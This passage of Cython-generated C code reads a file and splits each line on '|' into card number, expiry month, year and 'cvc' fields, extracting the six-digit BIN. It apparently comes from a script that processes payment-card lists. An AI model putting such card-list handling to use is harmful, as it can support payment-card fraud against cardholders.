  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

  
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_start_num, __pyx_int_0) < 0) __PYX_ERR(0, 133, __pyx_L1_error)

  
  __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_file); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 134, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_readlines); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 134, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = NULL;
  if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) {
    __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6);
    if (likely(__pyx_t_5)) {
      PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6);
      __Pyx_INCREF(__pyx_t_5);
      __Pyx_INCREF(function);
      __Pyx_DECREF_SET(__pyx_t_6, function);
    }
  }
  __pyx_t_10 = (__pyx_t_5) ? __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5) : __Pyx_PyObject_CallNoArg(__pyx_t_6);
  __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0;
  if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 134, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (likely(PyList_CheckExact(__pyx_t_10)) || PyTuple_CheckExact(__pyx_t_10)) {
    __pyx_t_6 = __pyx_t_10; __Pyx_INCREF(__pyx_t_6); __pyx_t_3 = 0;
    __pyx_t_11 = NULL;
  } else {
    __pyx_t_3 = -1; __pyx_t_6 = PyObject_GetIter(__pyx_t_10); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 134, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_6);
    __pyx_t_11 = Py_TYPE(__pyx_t_6)->tp_iternext; if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 134, __pyx_L1_error)
  }
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  for (;;) {
    if (likely(!__pyx_t_11)) {
      if (likely(PyList_CheckExact(__pyx_t_6))) {
        if (__pyx_t_3 >= PyList_GET_SIZE(__pyx_t_6)) break;
        #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS
        __pyx_t_10 = PyList_GET_ITEM(__pyx_t_6, __pyx_t_3); __Pyx_INCREF(__pyx_t_10); __pyx_t_3++; if (unlikely(0 < 0)) __PYX_ERR(0, 134, __pyx_L1_error)
        #else
        __pyx_t_10 = PySequence_ITEM(__pyx_t_6, __pyx_t_3); __pyx_t_3++; if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 134, __pyx_L1_error)
        __Pyx_GOTREF(__pyx_t_10);
        #endif
      } else {
        if (__pyx_t_3 >= PyTuple_GET_SIZE(__pyx_t_6)) break;
        #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS
        __pyx_t_10 = PyTuple_GET_ITEM(__pyx_t_6, __pyx_t_3); __Pyx_INCREF(__pyx_t_10); __pyx_t_3++; if (unlikely(0 < 0)) __PYX_ERR(0, 134, __pyx_L1_error)
        #else
        __pyx_t_10 = PySequence_ITEM(__pyx_t_6, __pyx_t_3); __pyx_t_3++; if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 134, __pyx_L1_error)
        __Pyx_GOTREF(__pyx_t_10);
        #endif
      }
    } else {
      __pyx_t_10 = __pyx_t_11(__pyx_t_6);
      if (unlikely(!__pyx_t_10)) {
        PyObject* exc_type = PyErr_Occurred();
        if (exc_type) {
          if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear();
          else __PYX_ERR(0, 134, __pyx_L1_error)
        }
        break;
      }
      __Pyx_GOTREF(__pyx_t_10);
    }
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_P, __pyx_t_10) < 0) __PYX_ERR(0, 134, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_start_num); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 135, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __pyx_t_5 = __Pyx_PyInt_AddObjC(__pyx_t_10, __pyx_int_1, 1, 1, 0); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 135, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_start_num, __pyx_t_5) < 0) __PYX_ERR(0, 135, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_P); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 136, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 136, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = PyList_New(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 136, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_124);
    __Pyx_GIVEREF(__pyx_int_124);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_124);
    __pyx_t_9 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 136, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_9, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 136, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = NULL;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) {
      __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_2);
      if (likely(__pyx_t_9)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2);
        __Pyx_INCREF(__pyx_t_9);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_2, function);
      }
    }
    __pyx_t_5 = (__pyx_t_9) ? __Pyx_PyObject_Call2Args(__pyx_t_2, __pyx_t_9, __pyx_t_10) : __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_10);
    __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0;
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 136, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_GetItemInt(__pyx_t_5, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 136, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_n, __pyx_t_2) < 0) __PYX_ERR(0, 136, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_n); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __pyx_t_5 = __Pyx_PyObject_GetSlice(__pyx_t_2, 0, 6, NULL, NULL, &__pyx_slice__11, 0, 1, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 137, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_bin3, __pyx_t_5) < 0) __PYX_ERR(0, 137, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_P); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 138, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_split); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 138, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 138, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_INCREF(__pyx_int_124);
    __Pyx_GIVEREF(__pyx_int_124);
    PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_124);
    __pyx_t_9 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 138, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_decode_bytes(__pyx_t_9, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 138, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = NULL;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_10))) {
      __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_10);
      if (likely(__pyx_t_9)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10);
        __Pyx_INCREF(__pyx_t_9);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_10, function);
      }
    }
    __pyx_t_5 = (__pyx_t_9) ? __Pyx_PyObject_Call2Args(__pyx_t_10, __pyx_t_9, __pyx_t_2) : __Pyx_PyObject_CallOneArg(__pyx_t_10, __pyx_t_2);
    __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0;
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 138, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_GetItemInt(__pyx_t_5, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 138, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_mm, __pyx_t_10) < 0) __PYX_ERR(0, 138, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_mm); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 139, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __pyx_t_5 = __Pyx_PyNumber_Int(__pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 139, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_PyInt_EqObjC(__pyx_t_5, __pyx_int_12, 12, 0); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 139, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_10); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 139, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    if (!__pyx_t_7) {
    } else {
      __pyx_t_8 = __pyx_t_7;
      goto __pyx_L6_bool_binop_done;
    }
    __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_mm); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 139, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __pyx_t_5 = __Pyx_PyNumber_Int(__pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 139, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_PyInt_EqObjC(__pyx_t_5, __pyx_int_11, 11, 0); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 139, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_10); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 139, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    if (!__pyx_t_7) {
    } else {
      __pyx_t_8 = __pyx_t_7;
      goto __pyx_L6_bool_binop_done;
    }
    __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_mm); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 139, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __pyx_t_5 = __Pyx_PyNumber_Int(__pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 139, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_PyInt_EqObjC(__pyx_t_5, __pyx_int_10, 10, 0); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 139, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_10); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 139, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_8 = __pyx_t_7;
    __pyx_L6_bool_binop_done:;
    if (__pyx_t_8) {

      
      __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_mm); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 140, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_10);
      if (PyDict_SetItem(__pyx_d, __pyx_n_s_mm, __pyx_t_10) < 0) __PYX_ERR(0, 140, __pyx_L1_error)
      __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

      
      goto __pyx_L5;
    }

    
    __pyx_t_10 = PyList_New(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 141, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_48);
    __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 141, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 141, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_mm); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 141, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __pyx_t_8 = (__Pyx_PySequence_ContainsTF(__pyx_t_10, __pyx_t_5, Py_NE)); if (unlikely(__pyx_t_8 < 0)) __PYX_ERR(0, 141, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_7 = (__pyx_t_8 != 0);
    if (__pyx_t_7) {

      
      __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_mm); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 142, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_5);
      __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 142, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_10);
      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
      __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_0, __pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 142, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_5);
      __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
      if (PyDict_SetItem(__pyx_d, __pyx_n_s_mm, __pyx_t_5) < 0) __PYX_ERR(0, 142, __pyx_L1_error)
      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

      
      goto __pyx_L5;
    }

    
    /*else*/ {
      __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_mm); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 144, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_5);
      if (PyDict_SetItem(__pyx_d, __pyx_n_s_mm, __pyx_t_5) < 0) __PYX_ERR(0, 144, __pyx_L1_error)
      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    }
    __pyx_L5:;

    
    __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_P); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 145, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 145, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = PyList_New(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 145, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_124);
    __Pyx_GIVEREF(__pyx_int_124);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_124);
    __pyx_t_9 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 145, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_9, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 145, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = NULL;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) {
      __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_2);
      if (likely(__pyx_t_9)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2);
        __Pyx_INCREF(__pyx_t_9);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_2, function);
      }
    }
    __pyx_t_5 = (__pyx_t_9) ? __Pyx_PyObject_Call2Args(__pyx_t_2, __pyx_t_9, __pyx_t_10) : __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_10);
    __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0;
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 145, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_GetItemInt(__pyx_t_5, 2, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 145, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_yy, __pyx_t_2) < 0) __PYX_ERR(0, 145, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_P); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 146, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_split); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 146, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = PyList_New(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 146, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_124);
    __Pyx_GIVEREF(__pyx_int_124);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_124);
    __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 146, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 146, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = NULL;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) {
      __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_9);
      if (likely(__pyx_t_1)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9);
        __Pyx_INCREF(__pyx_t_1);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_9, function);
      }
    }
    __pyx_t_5 = (__pyx_t_1) ? __Pyx_PyObject_Call2Args(__pyx_t_9, __pyx_t_1, __pyx_t_10) : __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_10);
    __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0;
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 146, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = __Pyx_GetItemInt(__pyx_t_5, 3, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 146, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_replace); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 146, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = PyList_New(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 146, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_INCREF(__pyx_int_10);
    __Pyx_GIVEREF(__pyx_int_10);
    PyList_SET_ITEM(__pyx_t_9, 0, __pyx_int_10);
    __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_9); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 146, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 146, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = PyList_New(0); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 146, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 146, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 146, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = NULL;
    __pyx_t_12 = 0;
    if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) {
      __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_5);
      if (likely(__pyx_t_1)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5);
        __Pyx_INCREF(__pyx_t_1);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_5, function);
        __pyx_t_12 = 1;
      }
    }
    #if CYTHON_FAST_PYCALL
    if (PyFunction_Check(__pyx_t_5)) {
      PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_t_9, __pyx_t_10};
      __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_12, 2+__pyx_t_12); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 146, __pyx_L1_error)
      __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0;
      __Pyx_GOTREF(__pyx_t_2);
      __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
      __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    } else
    #endif
    #if CYTHON_FAST_PYCCALL
    if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) {
      PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_t_9, __pyx_t_10};
      __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_12, 2+__pyx_t_12); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 146, __pyx_L1_error)
      __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0;
      __Pyx_GOTREF(__pyx_t_2);
      __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
      __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    } else
    #endif
    {
      __pyx_t_13 = PyTuple_New(2+__pyx_t_12); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 146, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_13);
      if (__pyx_t_1) {
        __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_13, 0, __pyx_t_1); __pyx_t_1 = NULL;
      }
      __Pyx_GIVEREF(__pyx_t_9);
      PyTuple_SET_ITEM(__pyx_t_13, 0+__pyx_t_12, __pyx_t_9);
      __Pyx_GIVEREF(__pyx_t_10);
      PyTuple_SET_ITEM(__pyx_t_13, 1+__pyx_t_12, __pyx_t_10);
      __pyx_t_9 = 0;
      __pyx_t_10 = 0;
      __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_13, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 146, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_2);
      __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    }
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_cvc, __pyx_t_2) < 0) __PYX_ERR(0, 146, __pyx_L1_error)
